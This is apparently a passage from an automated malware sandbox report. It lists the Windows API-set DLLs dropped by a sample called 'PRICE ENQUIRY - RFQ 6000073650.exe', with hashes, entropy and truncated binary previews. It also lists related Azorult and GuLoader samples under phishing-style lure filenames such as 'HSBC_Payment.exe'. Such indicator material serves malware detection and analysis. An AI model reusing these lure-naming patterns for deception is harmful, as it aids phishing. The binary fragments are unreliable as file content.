C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-console-l1-1-0.dll	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SwiftMesaj.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Order-63729_Reference.bat, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse Filename: Est_US091024A - PICTURE.exe, Detection: malicious, Browse Filename: SwiftMesaj.pdf.exe, Detection: malicious, Browse Filename: SN890156.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Order-63729_Reference.bat, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse Filename: Est_US091024A - PICTURE.exe, Detection: malicious, Browse Filename: SwiftMesaj.pdf.exe, Detection: malicious, Browse Filename: SN890156.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
